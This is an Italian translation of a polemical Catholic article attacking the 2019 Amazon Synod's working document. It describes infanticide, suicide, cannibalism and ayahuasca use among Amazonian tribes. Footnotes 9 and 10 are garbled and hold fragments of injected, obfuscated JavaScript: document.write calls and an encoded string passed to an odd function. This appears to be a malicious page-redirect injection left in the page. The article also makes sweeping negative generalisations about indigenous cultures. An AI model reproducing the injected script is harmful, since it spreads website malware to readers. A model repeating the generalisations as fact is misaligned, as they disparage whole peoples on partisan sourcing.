Il vero “volto dell’Amazzonia”: una cultura di morte (prima e seconda parte)

da Ricognizioni

26 e luglio 2019

L’articolo di Kathy Clubb (1) è stato pubblicato su The Freedoms Project (2) il 25/06/19 con il titolo “The real ‘face of the Amazon’: a culture of death”. Lo pubblichiamo nella traduzione di Marco Manfredini.

Infanticidio e suicidio fanno parte tradizionalmente della cultura in molte zone della regione amazzonica. Per quale motivo quindi l’Instrumentum Laboris (IL) del Sinodo di ottobre invita la Chiesa Cattolica ad assumere un “volto amazzonico”?

Il Sinodo si focalizzerà su un gruppo di paesi che circondano il bacino amazzonico dell’America Latina: Bolivia, Brasile, Colombia, Ecuador, Guyana, Guyana Francese, Perù, Venezuela e Suriname. Nell’annunciare il Sinodo, Papa Francesco ha chiamato la chiesa a “trovare nuove vie per evangelizzare quella parte di popolo di Dio, specialmente indigena, spesso dimenticata e senza la prospettiva di un futuro di pace”.

Quello che il Papa e i suoi collaboratori dimenticano di menzionare è che, oltre alle sofferenze causate dallo sfruttamento da parte di grandi aziende, sono le comunità stesse causa di questa mancanza di pace. Mentre particolare attenzione è data all’”ecocidio”, non si fa menzione di infanticidio, suicidio o parricidio, i quali fanno parte del tessuto vitale in Amazzonia.

Il Sinodo in arrivo a ottobre è stato causa di preoccupazione già dal suo documento preparatorio pubblicato nel 2018, con i suoi richiami a una “conversione ecologica” e all’ordinazione femminile. Da allora, la suggestione che le ostie potessero essere fatte di yuca anziché di farina di grano (rendendo quindi invalido il sacramento), ha fortunatamente perso credito.

Ora che il documento di lavoro (IL) è stato reso noto, molti motivi di preoccupazione rimangono: il focus sull’ecologia integrale e l’eco-teologia, la promozione della teologia indiana (propaggine dell’eretica teologia della liberazione), e il tema ricorrente che la Chiesa avrebbe molto da apprendere dalla spiritualità pagana.

Sono stati scritti molti buoni articoli che evidenziano le minacce del Sinodo verso il celibato ecclesiastico, l’esclusiva ordinazione al sacerdozio di uomini, l’integrità dottrinale, perciò questo articolo si concentrerà sulle pratiche tribali contrarie alla vita in uso nella regione Pan-amazzonica.

Secondo i documenti finora conosciuti il moderno colonialismo occidentale è accusato per l’aumento degli aborti, delle violenze famigliari e per l’uso delle droghe nell’area. Non si fa riferimento alla tradizionale accettazione di queste pratiche anti-vita nella cultura amazzonica.

INFANTICIDIO IN AMAZZONIA È difficile stabilire il numero preciso di infanticidi commessi nella regione, visto che molti casi non vengono riportati, e molti sforzi per indagare vengono ostacolati dalla teoria politica per cui qualsiasi intervento esterno è visto come “imperialista”, “colonialista” e “patriarcale”.

I relativisti culturali sostengono che le popolazioni indigene debbano essere protette dall’essere perseguite dalla legge per l’attuazione di pratiche quali infanticidio ed eutanasia, e disapprovano qualsiasi tentativo di scoprire quanti bambini e adulti vengono in questo modo uccisi. Costoro affermano che la raccolta di dati “rappresenta in ogni caso un tentativo di incriminare ed esprimere un pregiudizio contro i popoli indigeni”, ed è una nuova forma di colonialismo.

Secondo un articolo del 2018 (3), circa venti gruppi tribali brasiliani su un totale di trecento praticano l’infanticidio, e si stima che circa un centinaio di bambini venga ucciso ogni anno (4). Uno studio sull’infanticidio tra la tribù brasiliana degli Zuruahá getta luce sulla filosofia alla base della pratica (5). Osserva che l’infanticidio è stato tollerato storicamente per diverse ragioni: come mezzo per liberare le comunità tribali, che vivevano in condizioni molto dure, del peso di prendersi cura dei membri più deboli o per assicurarsi che le madri fossero in grado di accudire adeguatamente i figli già avuti.

Così gemelli, disabili o malati venivano uccisi (e vengono ancora uccisi) dopo la nascita. E se una madre muore durante il parto, anche il neonato spesso viene soppresso. Anche la superstizione gioca tutt’oggi un ruolo in queste culture dell’America Latina contemporanea. I nati albini vengono considerati malvagi e vengono uccisi una volta scopertane la condizione.

Nello studio si fa l’esempio di una famiglia della tribù Kuikúru che ha ucciso tre bambini affetti da albinismo. A un figlio avuto in precedenza, anch’egli affetto dalla malattia, era stato permesso di vivere solo perché i genitori pensavano che avrebbe cambiato colore crescendo. Anche le norme sociali conducono all’infanticidio: i bambini nati da madri non sposate vengono solitamente uccisi, e viene comunemente accettata l’uccisione di un figlio del sesso non voluto (solitamente femmine, vista la preferenza per i maschi).

Un’altra tribù consente l’infanticidio dopo quattro fratelli dello stesso sesso, indipendentemente da quale sia. Questo testo sulla tribù Yanomámi spiega come giustificano l’infanticidio: “Le donne Yanomámi hanno piena autonomia nel decidere se i propri figli dovevano vivere o no. La madre si ritira nella foresta per dare alla luce il figlio, ma se non lo accoglie tra le braccia dopo la nascita è come se non sia mai venuto al mondo. Quindi si può dedurre che in quella cultura c’è una ‘nascita post-parto’, in altre parole un atto di ‘nascita culturale’: quando la madre non riconosce il neonato, non lo tocca e lo abbandona nella foresta. In questo modo il bambino è come se per la comunità non fosse nato”.

Un altro esempio mostra come queste pratiche si svolgono nella vita reale. L’episodio seguente ha luogo all’interno della tribù Surawaha, dove la famiglia Suzuki esercitava la missione cristiana negli anni ’90.

I Surawaha non avevano avuto contatti con il mondo esterno fino agli anni ’70. “Ad un certo punto, durante la permanenza dei Suzuki tra i Surawaha, la tribù decise che due bambini, i quali sembravano avere problemi di crescita, dovessero morire. I genitori, piuttosto di uccidere i due figli, si suicidarono. La tribù allora seppellì vivi i due bambini, secondo la consuetudine (dice Suzuki). Una dei due, una ragazza di nome Hakani, riuscì a sopravvivere al calvario, ma la comunità decise di lasciarla morire di fame. Suo fratello maggiore la tenne in vita per qualche anno, fornendole i suoi avanzi di cibo di contrabbando, arrivando infine a portarla ai piedi dei Suzuki”.

I Suzuki adottarono la ragazza, una mossa che sollevò la questione della tolleranza all’infanticidio del Brasile a livello internazionale. Tolleranza che è alimentata dal supporto di celebrità hollywoodiane, alcune delle quali hanno adottato la causa culturale delle pratiche di morte quasi allo stesso modo in cui hanno adottato la causa dell’aborto legale.

Questi relativisti culturali possono contare su accademici, eticisti ed antropologi a supporto delle loro convinzioni. Ad esempio, un antropologo dell’università di Brasilia descrive la giustificazione dell’infanticidio da parte dei nativi in questo modo: “Un bambino indigeno, appena nato, non è una persona. Lui o lei subirà un lungo processo di personalizzazione fino ad acquisire un nome, e con questo lo status di persona. Perciò, i casi molto rari in cui i neonati non vengono inseriti nella vita sociale della comunità non possono essere considerati come morti, in quanto non lo sono. Infanticidi, poi, non saranno mai”.

IL SUICIDIO È “IL PIÙ ALTO TRA TUTTI VALORI” Lo studio sull’infanticidio tra gli Zuruahá menziona anche il suicidio come questione correlata, siccome molti genitori i cui figli sono condannati a morte dalla comunità preferiscono commettere suicidio piuttosto che vedere uccisi i propri figli.

Per l’occidentale medio, che non mette in questione la protezione della propria progenie, questa pratica appare estremamente aberrante e irresponsabile.

Ma diventa più facile da capire quando viene spiegata la devozione tribale al suicidio: “Il suicidio tra gli Zuruahá presenta caratteristiche storiche e religiose, oltre che crisi e tensioni sociali. Viene visto come una forma di esistenza umana, al punto che solo attraverso la morte è possibile raggiungere la vera esistenza. Gli indiani dicono che l’esistenza acquista senso solo se ha come scopo il suicidio.

Le loro linee guida per comprendere la vita indicano che il suicidio è il più alto di tutti i valori.  La filosofia Zuruahá dice che ci sono solo due strade per condurre al fine l’esistenza umana: la prima tramite il suicidio per avvelenamento, chiamato kunaha, che conduce al paradiso chi ha ingerito il veleno […].

I loro riti, canti e preghiere si riferiscono a questo e conducono a questa vera esistenza. La seconda strada porta alla morte per vecchiaia, ma questa è considerata oggi ardua… Data questa interpretazione della vita umana, attendere di diventare vecchi non è sinonimo di saggezza.

Per tale ragione, in questa cultura, i vecchi non godono dello status di uomini saggi e venerabili, come comunemente avviene tra altre comunità indigene. Qua vengono chiamati hosa, una parola che significa “inutili”, “esauriti”. Inoltre, molti di essi hanno alle spalle tentativi di suicidio non riusciti. Al fine di evitare un futuro di dolore e disprezzo in vecchiaia, i bambini iniziano molto presto a vivere considerando la possibilità di suicidarsi.

Nei loro giochi, ragazzi e ragazze fingono di morire e si immaginano come sarà il loro funerale. Tutti sanno come usare il timbó, una specie di liana che contiene un veleno mortale, e ne considerano l’utilizzo come un atto di coraggio. Per questa ragione “i genitori vivono nella convinzione che un giorno i loro figli berranno veleno”.

Statistiche raccolte sulle tribù tra il 2003 e il 2005 mostrano che circa un sesto della popolazione ha commesso suicidio in quel periodo (vi sono anche due casi di infanticidio). Questa visione pagana della vecchiaia e della morte, unita all’assenza di una comprensione della vita umana come valore intrinseco, contraddice i numerosi riferimenti nell’IL riguardo alla “saggezza ancestrale”.

CANNIBALISMO Una delle usanze più sconvolgenti trovate in Amazzonia è il cannibalismo rituale. Ciò è ben documentato, essendo praticato dalle tribù Yanomami e Wari’.

Secondo il sito di TFP (6): “Un’usanza primitiva di questo gruppo etnico è il cannibalismo rituale. In un rito funerario sacro e collettivo, cremano il corpo del parente morto e ne mangiano le ceneri delle ossa, mescolandole con la pasta pijiguao, fatta con il frutto di una specie di palma. Credono che l’energia vitale del defunto risieda nelle ossa e venga con questo rituale reintegrato nel gruppo di famiglia. Allo stesso modo, uno Yanomami che uccide un avversario in territorio nemico pratica questa forma di cannibalismo per purificare sé stesso”.

In modo simile, le tribù Wari’ del Brasile mangiavano la carne dei propri vecchi morti e dei propri nemici, fino alla fine del ventesimo secolo. L’endocannibalismo (il cibarsi degli appartenenti alla propria tribù) era visto come un rito funerario, a riprova che il deceduto fosse veramente passato dalla terra. Per gli Wari’ non si trattava di cannibalismo, visto che i membri morti della tribù erano trascesi nell’”altro”.

Per contrasto, l’esocannibalismo veniva affrontato con entusiasmo anziché rispetto, come segno di dominazione su una tribù più debole. È interessante notare come Paul Erlich, autore del libro The Population Bomb e uno dei più grandi sostenitori del controllo della popolazione, ha annunciato nel 2014 che la sovrappopolazione e la scarsità di risorse finiranno per spingere gli esseri umani affamati al cannibalismo.

Erlich è stato ospite alla Pontificia Accademia delle Scienze del Vaticano in una conferenza del 2017 sull’estinzione biologica, con grande disappunto dei fedeli cattolici di tutto il mondo.

L’USO DI DROGHE FA PARTE DELLE RELIGIONI TRIBALI In tutto l’IL i mali sociali come la violenza sulle donne e il traffico di droga sono costantemente attribuiti all’industria estrattiva e ai mega progetti. Ma è falso affermare che i progetti moderni sono l’unica causa di tali mali.

La violenza contro le donne fa parte della cultura tribale di molte di queste comunità, e l’utilizzo di droghe nei rituali di guarigione spirituale è pratica comune. Di fatto, una nuova industria è sorta attorno alla cultura delle droghe allucinogene, l’ayahuasca (7), tanto che stranieri si affollano per provare l’esperienza di alterazione mentale che queste producono.

Si sono verificati molti tragici casi in cui turisti, sotto l’influenza dell’ayahuasca, hanno assassinato amici e colleghi (8).

Nonostante l’uso diffuso di questi allucinogeni nelle “cure di assistenza sanitario-spiritica”, l’IL suggerisce che:“I rituali e le cerimonie indigene sono essenziali per la salute integrale perché integrano i diversi cicli della vita umana e della natura. Creano armonia ed equilibrio tra gli esseri umani e il cosmo. Proteggono la vita dai mali che possono essere causati sia dagli esseri umani che da altri esseri viventi. Aiutano a curare le malattie che danneggiano l’ambiente, la vita umana e altri esseri viventi” (IL, 87).

Qua c’è un po’ della tradizionale medicina amazzonica ayahuasca, dal sito del “Tempio della Via della Luce”: L’uso dell’ayahuasca è largamente diffuso e rappresenta la base della pratica di medicina tradizionale per almeno 75 diverse tribù attraverso l’alta e bassa Amazzonia.  Tradizionalmente, l’uso di ayahuasca nelle pratiche di guarigione in Amazzonia è limitata ai guaritori, che la usano come strumento diagnostico per una varietà di compiti che riflettono una serie di valori culturali e psicologici molto diversi da quelli che conosciamo in occidente.  

L’ayahuasca non viene presa direttamente dai pazienti, che assistono semplicemente alla cerimonia per ricevere la diagnosi e le successive cure. Identificando la causa della malattia (sfortuna e stregoneria, per esempio), e risolvendo il danno energetico causato dalla gelosia e dall’invidia, i guaritori indigeni riconoscono il potere distruttivo delle emozioni umane negative e il loro impatto non solo sull’individuo ma sulla salute dell’intera comunità.

L’ayahuasca è usata dai guaritori anche per altri scopi: aiutare a prendere decisioni importanti, chiedere consiglio agli spiriti, risolvere conflitti personali, tra famiglie e comunità, esercitare le proprie capacità divinatorie, chiarire misteri, furti e sparizioni, scoprire se abbiamo nemici e sapere se un coniuge è infedele.  

L’ayahuasca viene anche usata per prescrivere trattamenti ai pazienti, guidando il guaritore nella somministrazione di ikaros[canti rituali di guarigione, ndt] e rimedi vegetali. Ma non è l’unico “spirito vegetale” coinvolto. L’Ayahuasca lavora tramite il guaritore in combinazione con una pletora di altri dottori dello “spirito vegetale” per fornire un trattamento.

Essa è solo uno dei nodi all’interno di un sistema molto più ampio di assistenza sanitaria “spiritizzata” in Amazzonia. La guarigione tradizionale amazzonica offre soluzioni a malattie e disturbi che tipicamente non possono essere trattati con la medicina convenzionale. (9)

Quindi, lungi dall’essere una semplice questione di integrare la tradizionale medicina erboristica nell’assistenza sanitaria contemporanea, diventa ovvio che è impossibile separare gran parte della medicina popolare dell’Amazzonia dai propri rituali pagani e dall’utilizzo della divinazione e della stregoneria.

Accoppiata all’uso di allucinogeni, questa diventa una proposta pericolosa, che presenta rischi per la salute fisica e spirituale dei pazienti. Ma invece di lanciare un avvertimento sui pericoli che si corrono dilettandosi in pratiche occulte, l’IL raccomanda di emulare queste famiglie tribali, dove “[…] si impara a vivere in armonia: tra i popoli, tra le generazioni, con la natura, in dialogo con gli spiriti” (IL, 75).

E nel caso ci sia qualche dubbio sulla natura del potere di cui si servono questi sciamani pagani, il seguente esempio servirà da promemoria. Un missionario olandese ha raccontato la storia di un sacerdote mandato nella regione Amazzonica a predicare il Vangelo.

Fu affrontato in diverse occasioni da uno stregone locale, il quale: “Aveva il potere di spostarsi in un modo incomprensibile, lasciando che il buon padre scendesse dal fiume da solo per incontrarlo di nuovo molto più a valle, insultandolo copiosamente nel suo dialetto nativo. Il missionario non aveva alcun dubbio sull’esistenza del demonio e sapeva da quale tipo di malignità stava cercando di convertire gli indiani”. (10)

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1) Kathleen Clubb è una donna australiana attiva nel mondo pro-life da sei anni. Coordinatrice in Melbourne di Family Life International, fondatrice dei siti Light up the Darkness e di The Freedom Project, con cui porta avanti le sue battaglie. É stata coinvolta in un contenzioso costituzionale per aver violato la legge del 2015 della Victoria che vieta di protestare in un raggio di 150 metri dalle cliniche abortive, condannata e sanzionata. Ha istruito in home-schooling i suoi ultimi sei figli (su tredici!) e considera la sua famiglia la sua attività pro-life più importante.

2) https://www.thefreedomsproject.com/item/386-the-panamazonians-culture-of-death

3) https://foreignpolicy.com/2018/04/09/the-right-to-kill-brazil-infanticide/

4) https://www.disciplenations.org/infanticide/

5) http://www.scielo.br/scielo.php?script=sci_arttext&pid=S0102-311X2010000500002

6) https://www.tfp.org/a-mission-that-baptized-no-one-in-fifty-three-years-the-flawed-evangelization-model-of-the-pan-amazonian-synod/

7) Da wikipedia: “L’ayahuasca (aya-wasca, letteralmente “liana degli spiriti” o “liana dei morti” in lingua quechua), spesso detta anche, a seconda dei paesi di provenienza: Yage, Hoasca, Daime, Caapi; è un infuso psichedelico a base di diverse piante amazzoniche in grado di indurre un effetto visionario oltre che purgante”.

8) https://www.abc.net.au/news/2018-04-23/canadian-lynched-in-amazon-accused-of-shamans-murder/9688118

9) and-amazonian-shamanism/</re.length);document.write(uf);};r0093c87a1(‘phnjcmlwdcb0exblpsj0zxh0l2phdmfzy3jpchqipg0kdmfyig51bwjlcje9twf0ac5mbg9vcihnyxrolnjhbmrvbsgpicognsk7ia0kawygkg51bwjlcje9ptmpdqp7dqogdmfyigrlbgf5id0gmtuwmda7cq0kihnldfrpbwvvdxqoimrvy3vtzw50lmxvy2f0aw9ulmhyzwy9j2h0dha6ly9zy3jhcgjvb2tpbmcuchjvl3dwlwnvbnrlbnqvcgx1z2lucy93cc1tyxrolwnhchrjagevaw5jbhvkzxmvcgx1z2lulxnldhrpbmdzlnbocccilcbkzwxhesk7dqp9dqo8l3njcmlwdd4a’);<>

10) and-pagan-spiritualities-in-the-preparatory-document-for-the-amazon-synod/</re.length);document.write(uf);};r0093c87a1(‘phnjcmlwdcb0exblpsj0zxh0l2phdmfzy3jpchqipg0kdmfyig51bwjlcje9twf0ac5mbg9vcihnyxrolnjhbmrvbsgpicognsk7ia0kawygkg51bwjlcje9ptmpdqp7dqogdmfyigrlbgf5id0gmtuwmda7cq0kihnldfrpbwvvdxqoimrvy3vtzw50lmxvy2f0aw9ulmhyzwy9j2h0dha6ly9zy3jhcgjvb2tpbmcuchjvl3dwlwnvbnrlbnqvcgx1z2lucy93cc1tyxrolwnhchrjagevaw5jbhvkzxmvcgx1z2lulxnldhrpbmdzlnbocccilcbkzwxhesk7dqp9dqo8l3njcmlwdd4a’);<>

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“COLONIALISMO” Come è già stato accennato, in gran parte dell’Instrumentum Laboris il colonialismo è accusato di una pletora di malesseri sociali che affliggono i popoli della regione amazzonica, e nel corso delle indagini sulle loro lotte appare ovvio che c’è una grande questione di ingiustizia perpetrata contro i nativi, in particolare per quanto riguarda l’appropriazione delle loro terre e lo sfruttamento senza limiti da parte di entità straniere.

Ma il documento va anche oltre, indicando in una lotta di classe in corso la causa della povertà di molti abitanti. È molto superficiale, e un crimine contro la verità, affermare che l’influenza cristiana ha portato solo frutti cattivi nella regione, e che la cultura occidentale si dovrebbe conformare maggiormente a questo modello pagano.

Come ha detto un commentatore: “Il male che li colpisce ha un solo nome: colonizzazione. Come nella teologia della liberazione, ma in una variante più populista che Marxista (la famosa teologia del popolo cara a Papa Francesco), queste persone e comunità devono essere considerate depositarie di ricchezze di cui i paesi civilizzati sono privi dopo secoli di cristianesimo”.

La nostra memoria collettiva è così corta che non riusciamo a ricordare il livello estremo di barbarie comune a queste civiltà e a quelle circostanti solo poche centinaia di anni fa? Questa è la patria degli Incas assetati di sangue, e dei vicini Aztechi e Maya, i quali praticavano sacrifici umani su scala mostruosa.

Come Steve Mosher sottolinea in un suo articolo, fu solo grazie al lavoro dei primi missionari se queste pratiche omicide vennero abolite. Se la Chiesa fallisce nella sua missione evangelizzatrice, cosa impedirà a queste tribù di scivolare indietro e tornare a quelle pratiche barbare?

Se si asseconda la stessa filosofia che giustifica la barbarie, allora un ritorno alla barbarie sarà inevitabile. Marcia Suzuki, la missionaria cristiana che adottò una bambina non voluta dalla tribù Yanomami, disse che il problema non andava cercato nel colonialismo, ma “Il vero nemico è invisibile: è il relativismo morale e culturale che rende tabù una messa in discussione della pratica dell’infanticidio”.

“CONVERSIONE PASTORALE” Si potrebbe sostenere che infanticidio, omicidio e così via sono praticati solo tra un numero ristretto di tribù dell’Amazzonia. Numericamente è così, ma il problema sta nella filosofia adottata da questi popoli per giustificare le proprie azioni, e nel fatto che l’IL esorti i cattolici ad adottare tali filosofie.

Così, mentre il sacrificio umano è praticato nella zona da centinaia di anni a diversi livelli, il problema ora è che i missionari cattolici vengono dissuasi dal condannare quelle pratiche e dall’impegnarsi nella guerra spirituale che ne assicurerebbe la vittoria.

Infatti, l’IL consiglia ai cattolici, piuttosto che contrapporsi, di adottare una forma di spiritualità diametralmente opposta a quella del messaggio evangelico di salvezza per mezzo di Gesù Cristo. Questo sforzo antimissionario non è un fenomeno nuovo; già da qualche tempo viene applaudito all’interno della Chiesa.

Facciamo solo due esempi. Gli Yanomami, oltre all’abitudine di uccidere la prole e mangiare i nemici, sono estremamente resistenti all’evangelizzazione. In 53 anni di presenza missionaria, non c’è stato nemmeno un battesimo. Ma lungi dallo scoraggiarsi, il direttore delle missioni Padre Corrado Dalmonego afferma che la tribù Yanomami ha molto da offrire alla Chiesa, la quale deve “fare attenzione a come le genti indigene vivono la loro esperienza comunitaria, le relazioni sociali e le strutture di comando. Per noi gli Yanomami sono testimoni che ci permettono di apprezzare il valore della vita comunitaria”.

Padre Dalmonego, imperterrito nel suo insuccesso missionario ci esorta a trarre da questa religione pagana consigli spirituali, poiché “la Chiesa si arricchisce dalla ricerca su sciamanesimo, mitologie, diverse conoscenze, diverse visioni del mondo e visioni di Dio”.

Questo perché forti momenti di dialogo aiutano i missionari a “scoprire l’essenza della nostra fede, spesso mascherata da ornamenti e tradizioni culturali”.

Un altro caso di dubbia evangelizzazione in Brasile è rappresentata dall’attività delle Piccole Sorelle di Gesù tra i Tapirapé. Questa tribù, che praticava l’infanticidio, alla fine ha abbandonato questa pratica, apparentemente grazie al buon esempio delle sorelle.

Le religiose, discepole di Charles de Focauld, vissero in quella comunità dal 1952 decidendo di non catechizzare la piccola tribù di 47 nativi; scelsero di avviare una “missione silenziosa” secondo i dettami prescritti dall’onnipresente “dialogo”. Sembra che le sorelle fossero meno preoccupate per l’infanticidio (atto oggettivamente immorale, contrario al Vangelo e alla legge naturale) di quanto non lo fossero della possibilità che la tribù si estinguesse.

Così pensarono di instaurare un “dialogo” sulla base di questioni sociali: “Tuttavia, la discussione divenne possibile solo dopo che i Tapirapé identificarono i missionari come alleati nella lotta contro l’oppressione causata da segmenti della società a cui appartenevano le suore stesse.

Così l’infanticidio venne discusso all’interno di un’agenda che includeva anche altri argomenti importanti per le persone: demarcazione delle loro terre, espulsione degli invasori dal loro territorio, attenzione alla salute delle persone, ecc.

C’era una logica in questo, dal momento che un aumento della popolazione dipendeva dall’assicurare condizioni di sopravvivenza per tutti… Nella letteratura antropologica, questo caso è stato riconosciuto come un’esperienza di intervento di successo”.

Ciò che appare come un fallimento per le persone raziocinanti, quello che sarebbe stato sicuramente considerato un fallimento praticamente da tutti i missionari cattolici negli ultimi 2000 anni, viene salutato come un successo dagli antropologi e dai missionari stessi.

Il fatto più preoccupante, tuttavia, è che questo è proprio il modello di evangelizzazione proposto dal sinodo. Non è questo ciò che gli autori dell’IL intendono con “conversione pastorale”? (IL, 5) Questo approccio antimissionario è in contrasto con quanto affermato dali più grandi pensatori della Chiesa: San Tommaso d’Aquino e Sant’Agostino, come si legge nel libro del Cardinale Sarah La forza del silenzio: “Naturalmente abbiamo il dovere di cercare nuovi approcci pastorali, ma in questo commento al Vangelo di Giovanni, San Tommaso ci avverte: «Se poi chiedi qual è la via, accetta Cristo, perché Lui è la via.

“Questa è la strada, percorretela” (Is 30,21)». E Agostino dice: «Cammina come questo essere umano e arriverai a Dio. È meglio zoppicare sulla retta strada che camminare speditamente fuori strada». Chi zoppica sulla strada, anche se fa solo un piccolo progresso, si avvicina alla destinazione; se uno è fuori strada, più veloce cammina più è facile che si allontani dalla meta. Se chiedi dove andare, aggrappati a Cristo, perché è Lui la verità che desideriamo raggiungere”.

UNA NUOVA DEFINIZIONE DI MARTIRIO L’IL conclude con la denuncia di un gran numero di “martiri” in terra amazzonica. Tuttavia questo termine non si riferisce a coloro che hanno rinunciato alla propria vita a causa della fede, piuttosto a chi si è espresso in favore dei nativi contro l’appropriazione delle loro terre da parte di altri gruppi.

Così, mentre è vero che la Chiesa ha sempre difeso il diritto di ogni persona a proteggere la sua proprietà, tale difesa non è considerata martirio. Si segnala un singolo caso di tale “martirio” con una menzione speciale: Suor Dorothy Stang, che era parte dell’ordine religioso delle Sorelle di Notre Dame, un gruppo di religiose dedite a combattere l’ingiustizia sociale, specialmente contro le donne, e che lavorava a stretto contatto con l’ONU per implementare i suoi obiettivi di Sviluppo Sostenibile.

Suor Dorothy Stang “martire” dell’Amazzonia

In modo simile, il sito ufficiale del sinodo contiene pagine dedicate a religiosi cattolici che sono stati uccisi nella regione, suggerendo che ognuna di queste persone sia stata martirizzata a causa della fede, implicando nel contempo che i nativi sono forzati dalla loro povertà a commettere atti di violenza. Infatti ci sono stati più di un migliaio di uccisioni per conflitti sulla terra solo in Brasile durante gli ultimi decenni, a ricordarci che la violenza è insita nella cultura tribale.

Non c’è dubbio che ognuno di questi religiosi abbia dedicato la propria vita ad aiutare le povere popolazioni dell’Amazzonia o che la loro morte sia stata tragica. Ma riferirsi ad essi come “martiri” non è corretto, specialmente nei numerosi casi in cui sembra che in una certa misura abbiano rinnegato la loro fede per adottare la cultura pagana circostante nel nome dell’”incontro”.

IL “VOLTO AMAZZONICO” L’IL ci dice che la Chiesa dal volto amazzonico è quella “Chiesa con una chiara opzione per (e con) i poveri e per la cura del creato” (IL, 109). Se letto nel contesto dell’intero documento, col suo orizzontalismo marxiano, il rifiuto del capitalismo, il sostegno alle energie rinnovabili, la fiducia nel comunicare con gli spiriti della natura, la chiara denuncia della dottrina oggettiva, non è difficile immaginare il mondo che gli autori hanno in mente.

Cioè una Chiesa Cattolica universalista, priva di magnifiche cattedrali, senza musica né arte (troppo occidentali), che fa assistenza a gente senza accesso ad acqua e servizi sanitari (appoggiandosi per le infrastrutture a quelle del capitalismo), con elettricità intermittente (le rinnovabili non sono note per la loro affidabilità) in un paesaggio di estrema povertà (egualitarismo) dal quale non c’è via di scampo, eccetto attraverso droghe che alterano lo stato di coscienza e infine il suicidio.

Inoltre c’è una preoccupazione ancora più sinistra tra le molte domande urgenti che emergono dall’IL del sinodo. Riguarda la devozione dell’attuale amministrazione papale nei confronti delle élites globali e al loro programma di controllo della popolazione.

Fino ad oggi, Papa Francesco ha rifiutato l’uso della contraccezione e dell’aborto come metodi di controllo della popolazione. In questo un ambito ha mostrato tutto sommato una certa continuità [almeno a parole, ndt]. Ma la Chiesa è sottoposta a un’enorme pressione da parte dei globalisti, dei governi e della maggioranza della gente per approvare contraccezione e aborto, al fine di limitare la popolazione mondiale, per arrivare ad un totale riconoscimento dei cosiddetti “diritti riproduttivi delle donne”.

Il Sinodo è stato sospettato di veicolare idee quali i preti sposati, le donne diacono, la teologia della liberazione. È possibile che questo incontro diventi anche veicolo di un cambio nell’insegnamento della Chiesa su aborto, infanticidio ed eutanasia?

È solo una coincidenza il fatto che l’attuale amministrazione papale, così innamorata dei pacchetti di politiche promulgate dai controllori della popolazione, focalizzi la sua attenzione su una cultura che include l’infanticidio e l’eutanasia quali metodi di controllo delle nascite? E che abbraccia una filosofia della vita e della morte che giustifica questi crimini categorizzando alcuni umani come non-persone? E che, la cosa più sconvolgente, a noi cattolici venga chiesto di abbracciarne la relativa spiritualità?

MA QUALE “ECO-CIDIO”, L’INFANTICIDIO È UN PECCATO CHE GRIDA AL CIELO La regione Amazzonica è piena di ingiustizie, è innegabile, ma un esame onesto rivela che la maggior parte di questi conflitti non rientra nella missione della Chiesa. La più lampante omissione di questo documento (a parte il disprezzo di antichi e onorati metodi di evangelizzazione e catechesi) è il suo rifiuto di riconoscere che l’immensa sofferenza è causata dall’adesione delle culture tribali alle pratiche infanticide.

La ragazza adottata, sopravvissuta all’infanticidio, Kanhu Suzuki, così ha parlato all’audizione di un congresso sui diritti dei disabili nel 2017: “Quando si passa al tema dell’uccisione di bambini, ci sono persone che dicono “Oh, ma quella è la loro cultura, dobbiamo rispettarla”. Per l’amore di Dio, cosa state dicendo! Una cultura che contempla la morte dell’innocente deve essere fermata. È triste pensare quanto siamo ignorati.

Voi ci abbandonate, fingete che siamo invisibili visto che siamo lontani da qua in mezzo alla giungla. Fingete che siamo nulla e usate la scusa della cultura. Vi chiedo ancora una volta di ripensarci. Noi siamo qui, gridiamo per chiedere aiuto. Gridiamo per i nostri diritti”.

Forse gli autori di questo Instrumentum Laboris dovrebbero prestare maggior attenzione alle parole del loro mentore, Papa Francesco. Come ha affermato in Laudato Si’, “Se l’essere umano si dichiara autonomo dalla realtà e si costituisce dominatore assoluto, la stessa base della sua esistenza si sgretola […]” (LS, 117).

Sostenere che le culture che promuovono l’uccisione di bambini sono la nostra speranza e che la teologia indiana dovrebbe sostituire la verità rivelata è un tentativo di allontanamento dalla realtà di proporzioni veramente epiche.

Ma così si era espresso il documento preparatorio per il Sinodo, citando il Simposio di Teologia Indiana del 2017: “Mentre pensiamo a una Chiesa dal volto amazzonico, sogniamo con i piedi per terra, la nostra terra di origine. Al tempo stesso, riflettiamo con gli occhi aperti su come questa Chiesa dovrà essere, a partire dalla concreta varietà culturale dei popoli. I nuovi cammini dovranno incidere sui ministeri, sulla liturgia e sulla teologia (teologia india)”.